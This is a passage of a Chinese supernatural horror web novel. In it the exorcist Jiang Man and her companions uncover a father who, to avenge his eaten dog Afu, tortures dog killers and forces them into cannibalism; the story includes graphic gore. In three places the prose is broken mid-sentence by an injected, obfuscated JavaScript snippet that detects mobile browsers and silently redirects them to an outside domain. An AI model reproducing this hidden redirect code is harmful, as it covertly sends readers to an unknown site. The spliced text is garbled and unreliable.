姜满点点头,“姐姐你也是,想叫我什么都行。” 接下来的时间,几人互相介绍了姓名,你一言我一语的聊着天,了解了戴阿福父亲的大致情况后,四处逛了逛,熟悉了这一大片看不到边的荒废民房区地形。 戴阿福的父亲叫戴志伟,皮肤黝黑,脸上的皱纹显示出他平日里多是乐呵呵的表情,他是个老实本分的中年人,工作是专门收停车费的。他常年骑着一辆破旧的电瓶车,守着他负责的停车位。 这个工作看起来轻松,但对于戴志伟这种性格的人来说,很吃亏。 许多车主停车不愿交钱,认为收费员没有这个资格,有时遇到脾气大的甚至会和收费员大吵特吵。戴志伟不会和人吵,脾气软,因而总被公司指责,平日里自己垫付了很多钱,也经常会被调换,收费路段总是变化。 失踪前,戴志伟是在解放东路一条线上收费的,那条路很偏。 张云汉猜测,可能是因为他工作认真,守到很晚,招惹了什么不该招惹的东西。 但解放东路离这里很远,倒是戴志伟曾经的家,就是这一片废弃民房之一。 天色渐渐暗了,由姜满安排,薄临在车里等着,其余人分成两组,张云汉和程书韫一组,姜满和戴阿福一组,分头行动。 7. 第一座山(7) 戴阿福话不多,跟在姜满身边,也许是因为生病疼痛的缘故,他的身体总是缩着,但应该是太相信今天就能找到父亲,他看起来很高兴,也很紧张。 天色已经完全黑了,这地方没有路灯,偏今天云遮月,一点光也没有,四周漆黑一片,全靠手机上的自带电筒照明。 姜满走路很慢,像是怕踩到什么,一直注意着脚下,她带着他走到一间带有阁楼的废弃民房前,停了下来。 她原本也不会选择一间一间找,即便戴阿福对这一带非常熟悉。 “我爸爸不在这里。”戴阿福见她停下,不禁出声。 姜满抬眼看看他,“我知道。” 说着,她关上了手机电筒功能,抬起头,环视四周。 黑暗中,她的眼睛显得很特别,好像有一层灰雾蒙在了眼球上,一双眼眸给人感觉有些虚幻。 这地方阴灵不少,却不能称之为怨灵,怨灵有形,怨气愈深,形愈似人,但怨灵一旦受伤,阴气受损,就会本能化成一团白雾,就像薄临体内那一只一样。 这里的阴灵是散的,凡人到这种地方,就会觉得阴冷,不过,荒僻之地多是如此,也不足为奇。 但,这样的环境中,想找到那只将戴阿福父亲带走的怨灵,就好比坏人躲在人堆里,很难。 姜满丝毫不慌,像是早有准备,从小包里拿出一把剪刀,裁剪起手中的零食袋子,不一会儿,剪出一个粗糙的人形来。 接着,她两指并拢,虚划过自己的双眼后,点指那个剪出来的人形塑料片,将它抛向空中。 “动了!它动了!”戴阿福很惊讶。 姜满看向他,“戴阿福,我接下来说的话,你记住了。待会儿无论看到什么,你要跟紧我,最要紧的是,闭上你的嘴。” 她的语气并不严厉,也实在与凶狠搭不上边,但她自带的气场与言辞却让人不得不紧张,戴阿福被威慑住一般,讷讷点头。 像戴志伟这样的情况,多是被怨灵迷了心智,到什么地方去,躲在哪儿,都是不受自己控制的,而外人想找到这个人,寻常的办法是要破除怨灵的障眼法,如同瞎子摸象,破一处走一步。 姜满的选择自然不会寻常,她要找到这里的怨灵。 戴阿福用手机电筒照在塑片人身上,这时他才发现塑片人的好处,不需要太强的光,这种有着银光色泽的塑料零食包装袋,只要一点光就能很显眼。 七月里,正值暑热,但随着二人跟着塑片人走的越久,姜满越感觉到四周的阴冷。 这怨灵,要么不止一个,要么,大凶。 这个戴志伟…… “你爸杀过人吗?”姜满忽然开口。 戴阿福显然愣住了。 “没……我、我……不知道。” 看起来,他原本是想回答没有的,但他应该是不擅长撒谎。 姜满看着他,像是什么都逃不过她的眼睛,又问道:“几个?” 戴阿福没再回答。 塑片人停在了一条上坡路的废弃小楼前,飘飘荡荡,像一只寻常的垃圾袋,落了地。 这栋小楼在以前应该是自建房,有三层,楼前还有一个长满杂草的院子,只是院墙已经看不出原有的形貌了,事实上,不止院墙,整栋楼都破败的不成样子,墙体坍塌,房檐腐坏,几乎没有遮挡,仅有摇摇欲坠的水泥红砖砌成的楼梯,像顽强的脊柱,苦苦支撑着这栋不堪的小楼。 姜满取出剪刀,用锋利的那一端划破了指尖。 剪刀还是没有刀片好用,不够锋利,但怎么都比咬破指尖好,也不知道现在的那些个道玄怎么想的,有工具为什么不用?是口水也能辅助道术吗? 她想起张信德,忽然大发慈悲的决定,要是解决了自己的事,有空的话,就去找他一下吧,毕竟张信德是为了她的身世才下山的,虽然她从一开始就没同意过。 查她的身世,简直是天方夜谭,也亏张信德敢想、敢信。 每一次[空]都会让她忘记之前的全部记忆,这一次她能保留四十几年的记忆,她已经很知足了,天知道她到底[空]过几次,天都未必能知道她的身世。 血珠成线,在姜满的指尖缓缓涌出,她一边挤血一边在那张塑片人身上涂涂画画,术成之后,她再度将塑片人抛向空中。 这一次,塑片人在空中打着旋,然后瞬间粉碎,像是笼罩住这小楼上空一般,四散无影。 姜满拍了拍手上的灰,这是她刚刚捡起落在地上的塑片人时沾上的灰,实际上并不很脏,但她总是习惯拍一拍,像是某种仪式。 在她还没觉察到的时候,指尖伤口早已愈合了,而她也已经习惯,不以为然。 “走吧,记好我跟你说的话,别出声。” 她瞥了戴阿福一眼,往黑洞洞的小楼走去。 四周漆黑一片,手机电筒的光好像也在被黑暗吞没,周身阴冷,一点声音都没有,好像蚊虫也不敢靠近这个地方。 戴阿福心里有些害怕,他胆子并不大,但他觉得,这样的地方,哪怕是胆子大的人也不可能不害怕,可他面前的这个小姑娘似乎是个例外。 这让他有了些底气,加上对父亲的思念,他生出莫大的勇气,挺直脊梁,紧跟了上去。 他离姜满很近,也许是因为害怕,几乎整个身子都贴在姜满后背。 姜满皱了皱眉,酸臭的气味钻进鼻腔,除了男人身上的汗臭发酵,还有独属于重症患者的病气,很不好闻。 她余光看见贴近她的那张脸,瘦削蜡黄,她甚至能看见他毛孔里那些黑黑的东西,这张脸实在不好看,有斑还有稀疏的胡茬,头发也乱糟糟的,稀薄油腻。 “别靠我那么近。”她压低声音。 戴阿福意识到什么,连忙往后退了一点,让自己的身体至少不碰到这个姑娘,“对、对不起,我有点害怕。” 他也学着姜满,压低了声音。 姜满看了看他手中的手机,示意他关了灯,接着,二人一前一后摸黑登上楼梯,动作很轻,也很慢。 到了二楼,姜满缓慢地走着,谨慎地环顾四周。 这里现在只剩个平台,墙角有杂草和垃圾,从断墙的分布可以看出,原先,这儿有至少两个房间。 姜满忽然停住了脚步,伸手示意戴阿福也别动。 她看见自己口中呵出的气有了形状。 来了! 戴阿福也感觉到了,他看着自己的呼吸像是在寒冬腊月,成为雾状,然后消散在空中。 他的身体更加紧绷,手有些发抖。 周围空气像是凝滞了一般,紧接着,四周的墙壁上开始结了霜,慢慢的,蔓延到二人脚下。 借着微弱的、透过云层的月光,加上早已适应黑暗的视线,姜满看到了脚下好像踩到了什么东西。 她缓缓俯身,小心地捡了起来。 是一张寻常的小票,上面模糊的字迹显示,是一家餐饮店的小票,只是具体买了什么看不清,好像是什么肉。 戴阿福的视线也跟随着姜满的动作,然后他看见姜满抬起头,于是,也跟着她抬起头。 眼前一片昏暗,脏兮兮的透明塑料帘层层叠叠,这里面好像很大,完全不像在这栋楼里,空气有些潮湿,有很浓重的腥臭味,腐烂的、呛鼻的,令人作呕,窸窸窣窣的声音传来,像是咀嚼声,紧随而来的是呕吐声,然后隐约好像听到了刀划过皮肉的声音,还有骂声,这些声音交织在一起,像是在类似厕所或淋浴间,有一种空灵的回音。 忽的,莫名吹来一阵风,微微掀起层层叠叠的帘布,戴阿福看见了塑料帘里的人,瞳孔瞬间放大! 白色的瓷砖,泛蓝的灯光,令人头晕目眩的血淋淋一片。 粘稠的血地上,是吃人肉的人,吃自己的人! “啊——” 戴阿福难以抑制地惊声尖叫,转身就跑。 姜满反应极快,一把扯住他,但他显然是被吓破了胆,不管不顾,甩开姜满,玩命地跑。 他一个病人,也不知道哪来那么大力气,把姜满甩得扑向那边的塑料帘。 “嘶啦”一声,帘子被姜满的惯性拽得掉了下来。 姜满看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577490|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的手和被她带下来的塑料帘,脸色不太好看。 原本她和戴阿福只是“旁观者”,作为在局中却不入局的“旁观者”,但戴阿福的尖叫打破了她的计划,她被迫入局了,能触碰到这幻境里的东西,就是实证。 也就是说,他们现在是在“镜子”外,那个灵的世界。 幻境是怨灵的死亡回放,这种回放一旦到了某个时间就不断地循环,如同单细胞生物一般,机械的重复某种动作,实际上,是在加深怨气。 怨灵在怨气中获得力量,于是可以改变磁场,惑人心智。 姜满闭了闭眼,心里有点烦躁。 戴阿福是阳衰之体,能见鬼很合理,她猜到了戴阿福会害怕,但她的确没想到他会尖叫,正常人看到这样的场面,大抵是失声、腿软,完全丧失反应能力,这个戴阿福,显然不正常,即便她已经提醒过他,不要出声。 此刻的戴阿福还在跑,但他似乎还没意识到,他只是在原地踏步。 其实姜满在进来前做了准备,但说来好笑,这准备是为了保护这里的怨灵的,她可不想一失手,杀了某个灵,然后成为[空]。能躲过一次,可不代表能躲过第二次。 不过,她倒是真的很想知道,为什么她能躲过上一次的成[空]。 眼下不是想这些的时候,她知道,一旦这些东西招惹她,她很难在不失手杀灵的情况下保住戴阿福的命。 对她来说,难的不是杀,是不杀。 咀嚼声已经停住了,那些怨灵似乎陷入了困惑。 处于死亡回放时的怨灵,一旦察觉到“异常”闯入,由于“积怨仪式”被改变,它们便会将全部的怨念转移到闯入者身上,这种怨念没有道理可言,是一种极大的恨。 不过,这个过程没有那么快,它们早就没有了作为人的思维能力,通常要反应很久,正常处理方法就是在它们反应的时候,干掉它们,或者,跑,能跑多远跑多远。 但,在怨灵的主场,跑,本就不容易,何况姜满已经被迫入局。 姜满站了起来,揪住了戴阿福的领子,“你还不能死,给我清醒点!” 她低声呵斥着,另一手拿出剪刀,甩开之后,把住刀锋正要割指作法,戴阿福倏地转过身,大叫着扑到她身上,往她怀里钻。 她的手一抖,目光紧追一道弧度而去,接着,落了地。 戴阿福瑟瑟发抖,“我好怕……” “你他妈……”姜满反复深呼吸,极力压制着自己的烦躁。 他突然地一抱,将她手中的剪刀击飞了出去,继而,在地上滑行进了塑料帘中,不见踪影。 四周静的可怕。 嘀——嗒—— 嘀——嗒…… 粘稠的水滴声,在此刻却维系了某种微妙的安全,但这种安全,并不长久。 “放开我。”姜满微仰着脑袋,以避免自己的脸碰到那一头油乱的头发,从牙缝里挤出三个字。 她很想一脚踹飞他,但她实在担心,自己会把他踹死。 戴阿福罔若未闻,一双手紧紧扒在姜满肩膀上,恨不得隔着衣服嵌进肉里,口中反复念叨,“我害怕……爸爸,我害怕……” 斑驳的、泛黄的塑料帘中,隐隐透出几团影子缓缓站了起来,它们的动作很慢,动静却很大,“咔哒咔哒”的声音,像是起身的动作使得它们的关节正在寸寸断裂。 “……不……敢……了……” “……再也……不……吃……” “……错……” 断断续续的声音,含糊不清,就像喉咙被淹没,僵硬的舌头在粘稠的液体里搅,艰难的,充满恐惧的,想要说什么。 这声音正在缓缓靠近。 戴阿福抱着姜满,紧闭的双眼微微打开一条缝,然后,他看到了姜满背后缓缓靠近的一张满嘴是血的鬼脸! “啊——”又是一声尖叫,他一把推开姜满。 姜满觉得,这个戴阿福大概是她的克星。 此刻,她被戴阿福推得倒在了那个怨灵的身上,正与这张血脸四目相对。 8. 第一座山(8) 小楼外,走在这条上坡路的张云汉打了个激灵,忽然停住了脚步。 “书韫妹妹,你有没有听到什么声音?” 程书韫打量着四周破败的房子,视线停留在那一栋三层小楼。 “是哭声。” 张云汉看着专注的程书韫,有些心猿意马。 这位云霆师兄的表妹也是道玄,却不是天一道的,之前出任务时见过几回,却一直没有机会和她好好说说话。 “你确定那个叫姜满的小妹妹是你们天一道的大长老?”程书韫一边观察着这栋小楼,一边问道。 她侧着脸,头发很柔很顺,应该很软,右边的头发慵懒的搭在眉头,她不时地伸手捋一捋,防止遮到眼睛,左边的头发卡在耳后,露出她漂亮的耳朵,和细长白皙的脖子,头发的长度在肩膀下一点,她的头发好直,却不塌…… “云汉师兄?” 张云汉从她的头发上回过神来,点点头,“是、是的,但是,掌门曾经叮嘱过,千万不能外扬,所以……还请书韫妹妹不要说出去。” 程书韫看了他一眼,“不能外扬,你还告诉我?” 张云汉讪讪一笑,“本来不该说的,但是大长老她……不是自己网名就暴露了吗……” 程书韫没再说什么,脚步已经迈向了这栋小楼,随口问道:“她看起来只是个小姑娘,真的没问题吗?不会有什么危险吧?” “你已经问过很多遍了,你放心,我们大长老……”他的注意力被小楼吸引。 程书韫取下背包,蹲了下来,有条有理的一件件取出她的“道”具,黄符纸、毛笔、朱砂墨…… “你也察觉到了吧?这儿不对劲,那个小妹妹,你的大长老,她要真像你说的那么厉害,肯定就在里面,如果相反,她不如你说的那么厉害,我必须保护她。” “保护……” 程书韫取出几张已经画好的符递给他,“我知道你的情况,拿着,这种叠成三角的,有三个,是护身的,你见到戴阿福和姜满妹妹,就给他们一人一个,你自己也留一个,这种没有叠起来的,我提前准备的不够,这里五个都给你,我马上再画几张,你遇到危险,扔出去就行,它会被阴气吸引,自动追击怨灵,还有这种……” 张云汉看着她,已然听不见她后面的话了。 他知道,她的道门主修符箓术,封住大长老那扇门的,就是程书韫的师父,那张黑符就是她师父画的。天一道是修斗术的,舞刀弄枪、身体格斗之类的,都有。可他,什么都不行,他只会超度,掌门说,他只要精通这个就足够了,以往他参加道门任务,他跟着那些师兄们,也的确够用,但今天……他有些迷茫。 他也想保护程书韫。 不,不对,除了超度,他还有头脑啊! 张云汉恍然发觉,自从见到程书韫,他的脑子就像被这里的阴寒之气冻住了。 “书韫妹妹。”他低头沉思片刻,轻声叫住了正在画符的程书韫。 画符实在是个不轻松的活,精神力的高度集中,使得才画了半张的程书韫,额头已然沁出汗珠,听到张云汉的声音,她不禁皱起眉头。 符没画完,被打断,这张符算是废了。 张云汉认真的说,“我们的目标,不是对付怨灵,而是找人。”他看了一眼面前的小楼,“这里面磁场混乱,也许大长老在里面,但我们进去,未必能帮到她,我觉得,我们应该在这附近找一找,趁着怨灵与大长老纠缠,我想,怨灵的目标也不是我们这些人,我们带走被它们困住的戴志伟,才是帮大长老。” 程书韫站了起来,思索片刻,说:“那你怎么能确定,戴志伟就在这附近?” “我……”张云汉正要回答,却见夜空出现了几个闪烁的红色小光点,伴随着嗡嗡声正在靠近二人,但却不太灵光,似乎受到什么干扰,没有办法接近小楼。 他眨眨眼,指了指天上,示意程书韫看看。 是两架航拍无人机。 张云汉的手机震动了起来,有电话,他接起电话,嗯嗯啊啊了半天,挂断电话后看向程书韫,“现在能确定了,红外热成像显示,这小楼后面,有人。” 见程书韫还有些懵,他又解释道:“记得那个薄临吧?人不是一般有钱,区区两台高科技,那都是基本配备,他和几个家里认识的科技人员联系了,远程操作,现在能确定,这小楼后面,像是在地下,绝对有人。走吧?” 程书韫抿抿嘴,“嗯,那我们赶紧去看看。” - 姜满倒在怨灵身上,看着眼前这张鬼脸,却并没忙着脱身。 这怨灵不仅没有什么攻击性,还十分恐惧,它恐惧的不是她,而是……戴阿福。 方才还与她四目相对的一双空洞的鬼眼,看见戴阿福,整只鬼都颤抖起来,口中一直含糊不清的在说什么。 也许是离得太近,这喉咙里咕噜一片,反而什么都听不清。 姜满拽住一旁比较牢的一片塑料帘,站直了身子。 真是怪了。 戴阿福抱着头蹲在地上,浑身抖得筛糠似的,显然是怕极了。 它怕他,他怕它。 那只鬼脱了身,一阵风似的,退回到帘子里。 还好,这鬼没找死。 姜满松了口气。 她走到戴阿福身旁,伸手捏住他的脚踝,手指蜷起,指节重重压在他脚踝穴位,接着张开虎口,如同丈量什么一般,用指节击点他几处穴位,然后伸手取下自己头发上的一个黑色发夹,在地上掰断,将锋利的断口狠狠扎在戴阿福的中指指背上。 戴阿福打了个哆嗦,恍然回神一般,愣愣地看向姜满。 “清醒点了?”姜满扔了发夹,然后拿衣角擦拭着皮肤上沾到的来自那只怨灵身上的血迹。 戴阿福还是很怕,但精神恢复了许多,似是知道自己做了不好的事,想要缓和一下气氛,“是、是,多亏你及时出手,没想到,你还懂点穴啊!” 他的声音还有些颤抖,虚浮无力。 姜满瞥了他一眼,“和你没关系,反正你不是好多了吗?” 她不算懂,属于把无害的穴位都点一遍,总归能碰上有用的。 “那我们赶紧走吧?”戴阿福想要站起来,却被姜满按住了。 “别急啊。”姜满直直的看着他的眼睛,“说说吧,你怕什么?” “我、我当然是怕鬼啊……谁不怕鬼?我肯定是怕鬼啊,我胆子小,见到鬼就会叫,给你惹了不少麻烦吧……对、对不起,我也控制不住,我就是……” 姜满笑了笑,“那我换个问法,你怕的,是哪只鬼。” “你、你有办法对付这些鬼吗?没、没有的话,我们还是赶紧,赶紧走吧,这地方太吓人了……” 咀嚼声再度传来,像是那层层叠叠的塑料帘里面的东西,拼命地吃着那些不明肉块,还有一边哭痛一边吃自己的,那声音越来越大,听得人毛骨悚然。 姜满就像没听到一般,完全不受影响,说:“走?你不想救你爸爸了?” “我、我想,我当然想。” 她盯着他躲闪的眼睛,“那你就告诉我,到底是怎么回事,你不说,我可以把那里面的东西,一只只抓到你面前,让你辨认。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577491|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴阿福倏地抬头,“小妹妹,你、你别……” “戴阿福,你知道,我不是什么小妹妹,你也最好搞清楚,想救你爸,你必须老实交代,你,不会撒谎。” 戴阿福身体一抖,“你……” “阿福,你没多少时间了,你的身体不知道什么时候就会病死,到时候,你爸爸怎么办?他会遭到天谴,可能万劫不复,永世不得超生,也可能,灰飞烟灭。” “你都知道了?”戴阿福很惊讶。 “我不知道,只是猜的。”姜满看向那层层叠叠的塑料帘,“所以,你要不要相信我。” 戴阿福有些犹豫,“可是,我们被困住了。” 姜满有些不耐烦,“这不用你管,你做错了事,害了你爸爸,想让我们来救他,却不说实话,阿福,你实在不是个好孩子。” “阿福、不是好孩子……”戴阿福低下头,喃喃自语,声音有些哽咽。 姜满看了他一眼,“你爸爸不是被带走的,他是自己来到这里的,也不是那些怨灵困住了你爸,而是你爸困住了它们,对吧?” 戴阿福没说话,半晌,他像是下定了什么决心,抬起头看向姜满,一双混浊肮脏的眼睛饱含泪水,“我什么都告诉你,求你,救救我爸爸。” - 张云汉和程书韫站在暗道尽头,面面相觑。 刺鼻的血腥味和腐臭味,夹杂着各种复杂的气味,呛得人难以呼吸,地上诡异的阵法图和人类的各种器官,触目惊心。 这是一间暗室,暗室的正中,坐着一个人。 很难想象,这样的环境,什么样的人能如此泰然地坐在其中。 张云汉手中的手机电筒光照在了那个人的脸上,此人正是那张蓝底证件照上的戴志伟。 此刻的戴志伟蓬头垢面,盘膝坐在阵法中心,他闭着眼,神情却很安详。 “戴志——”张云汉惊讶出声,却被程书韫捂住了嘴。 “别叫他,这事不对劲。”程书韫低声说着。 张云汉点点头,移开了手机电筒光,却正好扫见戴志伟身旁一只旧得不辨原形的绒布玩偶。 他示意程书韫看去,低声问:“这是什么?” 这只绒布玩偶的确和这里的气氛十分不搭,跳脱的线头,外露的棉花,还有缝补过多次的痕迹,像是某个孩子心爱的玩具。 程书韫摇摇头,在他耳边低语,“我们先离开这里,找到姜满妹妹和戴阿福,再商量后面怎么办。” 张云汉表示同意,二人转过身,正要原路返回。 忽然,一道无形的能量波震荡开来,二人躲闪不及,双双摔倒,抬头,眼前画面变了。 是骑着电动车收费的戴志伟,他追着一辆不打算交钱的小轿车,追出了好远,然后,他的车头一拐,拐进了一条小巷子。 这一切像是他故意为之,好像他的目标就是去这条小巷子的。 画面一转,二人看到了一个很大的淋浴间,像是一家废弃的澡堂,里面有很多塑料帘,隔开了每一个淋浴头。 然后戴志伟出现了,他拖拽着一根绳子,绳子另一头缠住了一个男人的脖子,那个男人手脚被缚,是反手反脚被缚,这样的姿势,很难不让人怀疑,这个男人的手脚已经断了。 这个男人被塞进了一个窄小的笼子。 张云汉和程书韫惊恐的看见,眼前这幕幻象中,竟然有好几个笼子,每个笼子里都塞着人。 忽然,两个人旁边的暗道传来了脚步声,二人回头看去。 是姜满和戴阿福。 “我叫阿福,三年前的那个冬天,我死了。” 9. 第一座山(9) 我叫阿福,这是爸爸给我起的名字,他希望我往后的生活,全是福。 我是被爸爸捡到的,那也是一个冬天,我还很小,也不会说话,只会咿咿呀呀,爸爸说,他听到了我的声音,找到了垃圾箱里的我,他很高兴能成为我的爸爸。 爸爸对我特别好,他每天都会给我做很多好吃的,还会带我出去玩,但是他要工作,所以,他给我买了很多玩具,他不在家的时候,我就和玩具玩。 但是爸爸不知道,他不在家的时候,我一点也不想玩,我只想等他回家。 爸爸给我买的这么多玩具里,我最喜欢的是一个绒布小熊,这是我的第一个玩具,我玩坏了,爸爸会用针线帮我缝补起来,我更喜欢了。 我有自己的床,但是我最喜欢跟爸爸一起睡,爸爸会跟我说他以前的事。 以前,那时候爸爸还小,他有个弟弟,是爸爸的爸爸带回来的,爸爸很爱这个弟弟,弟弟和我很像,但是后来,弟弟死了。 不,我不应该叫他弟弟,他是爸爸的弟弟,我应该叫他小叔叔。 小叔叔是被人杀死的,爸爸很伤心很伤心,那几乎成了他的心病。 爸爸每次说到这件事,我都很难过,因为爸爸很难过。爸爸会抱紧我,摸着我的头,一遍遍告诉我,他会保护我,会让我平安快乐的长大。 可是我长得太慢了,我觉得我的个子怎么都长不高,我多么想告诉爸爸,我想快点长大长高,我想保护他。 我的胆子很小,我每天都和爸爸睡在一起,不然我总是睡不安稳。 爸爸带我出去玩的时候,有爸爸在身边,我的胆子就会大一点,但我还是不喜欢别人,我只喜欢爸爸,可是爸爸告诉我,这样不对,我应该多交朋友。 我决定,我要做个好孩子,所以我开始交朋友,像爸爸期待的那样。 但是后来,我生病了。 也许是吃了不该吃的东西,我很馋,我总是控制不住自己的嘴巴,我也很胖,但这一次我病的有些严重,我住进了医院。 爸爸天天都来看我,两天后,他不放心,于是住在医院陪我。 我的精神很差,浑身都没有力气,但看到爸爸,我就感觉自己好多了,一点也不难受了。 爸爸会把汤药的喂到我嘴里,他告诉我,多喝一点,病就会好,爸爸喂的东西很苦,但我听话的喝了很多。 也许是因为我身体很胖,底子不错,这一次生病,连医生都很意外,我住了半个月就出院了。 爸爸对我更好了,他说我太胖,要减肥,他告诉我,有很多东西我不能吃,爸爸说的都对,我要做一个听话的乖孩子,后来,他开始和我一起运动。 我们一起跑步,一起玩球,那段时间,我真的太开心了。 但是我之前治病花了很多钱,爸爸工作更辛苦了,他几乎没有休息日,我们出去玩的时候,要么很早,要么很晚。 爸爸很爱我,我也很爱爸爸。 很爱很爱。 我真想永远陪着爸爸。 可是那一天,爸爸出门工作之后,有两个叔叔来到了我家。 我很害怕,我害怕的时候就会大叫,但我知道,我要保护这个属于我和爸爸的家,我想赶他们走,但是,他们给我好吃的。 我嘴巴很馋,我竟然本能的,吃起了他们给我的食物,然后,我失去了知觉。 醒来的时候,我的手脚被绑住了,我拼命挣扎,可是一点用也没有,他们绑的很紧,是反着绑的。 我对着他们大喊:放开我!我爸爸在哪儿!放开我!我要找我爸爸! 然后,有一个叔叔走过来,用棍子狠狠地打我的脑袋。 好疼…… 真的好疼。 一下两下…… 我失去了意识。 他的力气好大,我好疼。 可是他们为什么要这样?我明明没有伤害他们,他们为什么要这样对我?我是不是做错了什么? 我死了,死在一个冬天,我原本很喜欢冬天的,因为那个冬天,爸爸把我带回了家,从此,我就有爸爸了。 我做错了,我应该保护好我和爸爸的家,我不应该乱吃东西。 我错了。 爸爸,我错了。 可是爸爸,我好想你。 你不知道,和你分开的每一刻,我都在想你,我好想……再看你一眼。 等我再醒来的时候,我已经不是“我”了,强烈的思念让我变成了一只灵,我找到了爸爸。 我知道爸爸在找我,那几个人和爸爸吵架,我的爸爸不擅长吵架,被他们推搡着,摔倒在地上,我气坏了,即便我真的很害怕他们,但我还是大叫着冲过去,可是,我穿过了他们的身体…… 他们扔给爸爸一个东西,爸爸颤抖着捡了起来抱在怀里。 他们告诉爸爸,我已经被吃了,只剩这个。 爸爸回家了,他好像很悲伤,他的面前是一个透明的袋子,我认得这个东西,这是塑料袋,袋子里装着的…… 是我的手和脚! 爸爸…… 我好难过,我看见爸爸身体蜷缩起来,一抖一抖的,他在哭。 我也哭了。 他们都已经吃了我的肉,可他们竟然还要欺负我的爸爸! 我知道我长得和爸爸不一样,我也知道我不是爸爸这样的……人,我更知道,在人类的世界,他们叫我,狗。 那些吃了我的人说,不过是一条狗,吃了就吃了。 可我是阿福,我不是狗。 他们可以欺负我,但是我绝不能容忍他们欺负我爸爸! 愤怒让我变得强大起来,可能是上天可怜我,可怜我的爸爸,我遇到了一个想要自杀的人,我想阻止他,然后,我发现,我竟然进入了他的身体,成为了他。 我叫戴阿福,是一个身患绝症的病人。 我欢天喜地找到了爸爸,我告诉他,我是阿福!可我看到爸爸身后的尸体,爸爸杀人了,他杀了那个用棍子敲死我的人。 我最害怕这个人,是他杀了我,即便他死了,我也害怕他,我怕他再一次让我和爸爸分开。 爸爸不相信我就是阿福,可是我有办法证明。我带着爸爸回家,叼来我最喜欢的玩具,我用手扒拉爸爸的衣服,我还告诉爸爸我最喜欢吃的是肉,我不喜欢吃胡萝卜,好吧,胡萝卜其实还好,但是我真的不喜欢吃绿叶菜。 爸爸就是爸爸,他是我的爸爸,无论我变成什么样,他都认得出来。 后来我知道了更多,那个爸爸小时候的玩伴,他的弟弟,我的小叔叔,是被爸爸的爸爸亲手杀死的,他们把小叔叔做成菜,瞒着爸爸,让他吃,还问爸爸好不好吃,然后欢笑声一片。 人,真的好可怕…… 那是爸爸的弟弟啊! 爸爸知道真相后,几乎疯了,后来经过许多年,爸爸捡到了我,一切都好了起来。 可我不是个乖孩子,我乱吃东西,所以,我受到了惩罚,再也没有办法像以前那样陪伴爸爸了,但是,我长高了,像人一样高,我可以保护爸爸! 无论爸爸想做什么,我都要保护爸爸! 可是爸爸像是疯魔了一样,他开始观察,他找到那些偷狗的,杀狗的,还有虐待动物的,他用尽心机,用迷晕我的那种药,迷晕这些人,然后把他们关起来,再用同样的办法抓他们的家人、孩子,逼他们吃自己的家人,没有家人的,就逼他们吃自己。 活人对付不了爸爸,但是我知道,爸爸身边围绕着很多灵。 我也知道,这些被爸爸害死的人,有很多是无辜的。 可我的脑袋太小了,我想不了太复杂的事。 我想尽办法,问了许多灵,然后我找到了办法,我告诉爸爸,可以把这些人死后的魂魄也困住,这样,它们就不会伤害爸爸了。 爸爸学会了,我的爸爸是全世界最好最厉害的人,他不仅学会了,还能在困住它们的同时,继续折磨已经成为鬼魂的它们。 但,这样真的好吗? 我好像……闯祸了。 我想帮爸爸,可我不知道怎么办,然后我遇到了一个姐姐,我告诉她,我的爸爸不见了,我求她帮帮我,后来,她答应了。 我真的好幸运。 你们看,上天可怜我,也可怜我的爸爸。 - 这是戴阿福的全部记忆,像走马灯一般,在姜满、张云汉和程书韫的眼前,完整的走了一遍。 也唤醒了阵法正中的戴志伟。 戴阿福走向戴志伟,轻轻喊了一声,“爸爸,我是阿福。” 戴志伟双眼猩红,表情狰狞,在看到阿福的时候,有些松动,“阿福?” “爸爸,回头吧,这些人会帮你的。”阿福抱住了戴志伟。 戴志伟已经疯癫了,他推开阿福,“你不是阿福!我的阿福死了!被这些畜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577492|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牲杀了!我要他们下地狱!我要他们偿命!我要让他们受尽阿福受过的苦痛!他们不是爱吃吗?我要他们吃个够!重复的,永不停歇的……” 他狂笑起来,“我要让他们永远!永远重复的去偿还阿福受到的痛苦!” 阿福的神情很哀伤,他求救一般看向姜满。 戴志伟忽然又拉住了阿福,将他抱在怀里,爱怜地抚摸他油腻的头发,像抚摸一只小狗,“阿福,别怕,爸爸在,爸爸会保护你,爸爸再也不会让任何人伤害你,爸爸……爸爸没用啊……” 说着,这个中年人哭了起来,哭得像个孩子。 这边的张云汉轻轻拉了拉姜满沾满血污的衣角,“大长老,您……没事吧?” 姜满瞥了他一眼,“你觉得呢?” 张云汉早就观察到,整个过程,她脸上没有一丝惊讶,倒是他和程书韫,像傻子似的,程书韫到现在还在抹眼泪。 “现、现在怎么办?” 姜满的目光落在阵法图上,“等着吧。” 